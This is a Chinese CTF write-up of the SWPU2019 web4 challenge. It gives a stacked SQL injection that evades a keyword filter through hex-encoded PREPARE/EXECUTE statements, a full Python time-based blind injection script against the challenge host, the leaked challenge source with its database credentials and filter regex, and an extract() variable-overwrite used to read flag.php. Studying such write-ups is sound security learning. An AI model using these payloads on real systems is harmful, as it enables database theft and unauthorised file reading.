SWPU2019 web4

通过这个题目学习到了sql注入一个新的技巧,之前没接触过的,预编译+16进制绕过,然后就是代码的审计

首先点了一下注册按钮,功能还没实现,然后就尝试了一下万能密码,无果,然后在跑了一下字典发现:

单引号时候,会出现php的报错,不是mysql的,所以不可能用到报错注入,然后其他的显示都是 username or password error!

但是发现,当输入单引号,然后一个分号的时候,发现又成功回显,而不是返回的500,说明分号在这里起到效果了,可能存在堆叠注入。

但是因为过滤了很多关键词,所以我们这里尝试一下预编译+16进制 绕过:

1
2
3
set@a=0x73656c65637420696628737562737472282873656c6563742067726f75705f636f6e63617428666c616
7292066726f6d20666c6167292c7b307d2c31293d277b317d272c736c6565702833292c3129;
prepare ctftest from @a;execute ctftest;

这里的16进制转成ASCII 就是简单的一个盲注语句:

1
select if(substr((select group_concat(flag) from flag),{0},1)='{1}',sleep(3),1)

然后写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import json
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url="http://0f763aa6-1a38-48f6-86f9-0b25184ba0eb.node3.buuoj.cn/index.php?r=Login/Login"
dicts="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
exp="select if(substr((select group_concat(flag) from flag),{0},1)='{1}',sleep(3),1)"
flag=''
def main():
for i in range(1,20):
print(i)
for char in dicts:
r=requests.session()
exps=exp.format(i,char)
exp2=str_to_hex(exps)
payload="asd';set @a=0x{0};prepare ctftest from @a;execute ctftest -- ".format(exp2)
data={"username":payload,"password":"123"}
try:
res=r.post(url=url,json=data,timeout=2)
except:
global flag
flag+=char
print(flag)
break
if __name__== '__main__':
main()


有几个地方,一开始死活打不出来

第一个点发现 url 那里错了 ,r=Login/Login 被我写成了 Login/Index

这里的数据是传到了 Login/Login

然后第二个点是 用 json格式传过去 ,所以需要json格式转换一下

第三个点是 payload 那里 结尾 可以用 ; ,或者 –空格 来注释后面的语句,一定要有空格,然后分号那里,虽然最后是 ‘语句1’;语句2;语句3; ’ 最后多了一个引号,堆叠是一个一个执行的。1,2,3 都是正常执行的,到最后一个引号那里会报错,不过问题不大。

第四个点就是 flag 变量那里,我一开始在函数外定义了一个 flag, 我在函数里面直接引用是会报错的,需要用到一个关键词 global 来定义全局变量。

最后爆破得到:

glzjin_wants_a_girl_friend.zip

访问拿到源码:

MVC模式,看一下它的源代码

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php 

// 定义项目路径
define('BASE_PATH', __DIR__);
define('BASR_URL', "{$_SERVER['SERVER_NAME']}/demo/Blog");

// 引入核心类
require BASE_PATH . '/Common/config.php';
require BASE_PATH . '/Common/fun.php';
require BASE_PATH . '/Common/Tools.php';

导入了核心类

config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  
namespace DB;

// 数据库配置信息
define('DB_DSN', 'mysql:dbname=ctf;host=localhost;charset=utf8');
define('DB_USER', 'ctf');
define('DB_PASSWORD', 'swpuctf2019');
define('DB_DATABASE', 'ctf');
define('DB_PORT', '3306');
define('CHARSET', 'utf-8');

// 默认分页大小
define('DEFAULT_PAGE_SIZE', '5');

数据库的一些配置信息

fun.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php  

// 调试函数
if(!file_exists('D'))
{
function D()
{
echo '<pre>';
print_r(func_get_args());
echo '</pre>';
}
}

// 注册自动加载
if(!file_exists('user_aotu_load'))
{
function user_aotu_load($className)
{
$classPath = 'Lib';
if(strrpos($className, 'Controller') !== FALSE )
{
$classPath = 'Controller';
}
else if(strrpos($className, 'Model') !== FALSE )
{
$classPath = 'Model';
}
$classPath = BASE_PATH . "/{$classPath}/{$className}.php";
if(file_exists($classPath))
{
include $classPath;
}
}
spl_autoload_register('user_aotu_load');
}



// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}

获取 request 的参数,如果是空,则跳转到 index.php?r=Login/Index ,然后以 / 为分隔符,来获取参数,一个作为控制器,一个作为方法action

BaseController.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 

/**
* 所有控制器的父类
*/
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

这个类的loadview 方法是 加载视图,把视图导入进来

LoginController.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php


/*
* 登陆控制器
* */
class LoginController extends BaseController
{
public function actionIndex()
{
$loginModel = new LoginModel();
if( !$loginModel->loginCheck() ) {
$this->loadView("userLogin");
exit();
} else {
$this->loadView("userInfo", array("msg"=>array("code"=>"200","info"=>"login success!")));
}
}
public function actionLogin()
{
$loginModel = new LoginModel();
if( $loginModel->loginCheck() ) {
$this->loadView("userInfo", array("msg"=>array("code"=>"200","info"=>"login success!")));
exit();
}
$data = json_decode(file_get_contents("php://input"),true);
$data['username'] = $loginModel->safe->check($data['username']);
$password = $loginModel->getPassword($data['username']);
if ( $password === $data['password'] ) {
$this->loadView("userInfo", array("msg"=>array("code"=>"200","info"=>"login success!")));
} else {
$this->loadView("userInfo", array("msg"=>array("code"=>"202","info"=>"error username or password.")));
}
}
public function actionOut()
{
$this->loadView("userInfo", array("msg"=>array("code"=>"200","info"=>"login out success!")));
}
}

safe.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Safe
{
public function check($data)
{
if ( preg_match('/select|information|insert|union|ascii|,|like|outfile|join|<|>|and|substr|#|or|\|\||sleep|benchmark|if|&&/is', $data) )
{
return "test";
} else {
return $data;
}
}
}

这里是对关键词进行了替换,替换为了test。

这里面都没有可利用的点,但是在view中的 UserIndex.php中看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

if(!isset($img_file))
{
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '< src="' . $img_base64 . '">'; //图片形式展示

function imgToBase64($img_file)
{

$img_base64 = '';
if (file_exists($img_file))
{
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

$fp = fopen($app_img_file, "r"); // 图片是否可读权限

if ($fp)
{
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2])
{ //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}

$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

}
fclose($fp);
}

return $img_base64; //返回图片的base64
}

这里可以看到有 把图片打到页面的功能,我们如果让 $img_file=/../flag.php ,就可以把flag.php 以base64形式写进来

但是问题是怎么让$img_file 这个变量 为 flag.php 呢

UserController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 

/**
* 用户控制器
*/
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

}

UserController.php 会加载 userIndex 视图,然后 $listData 又是可控的,然后看到 loadview()函数的功能:

1
2
3
4
5
6
7
8
9
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

有一个extract函数,这个可以起到变量覆盖的作用,这里的$viewData就是我们传进来的listData,是可控的,所以最后的payload:

web.png

解密base64拿到Flag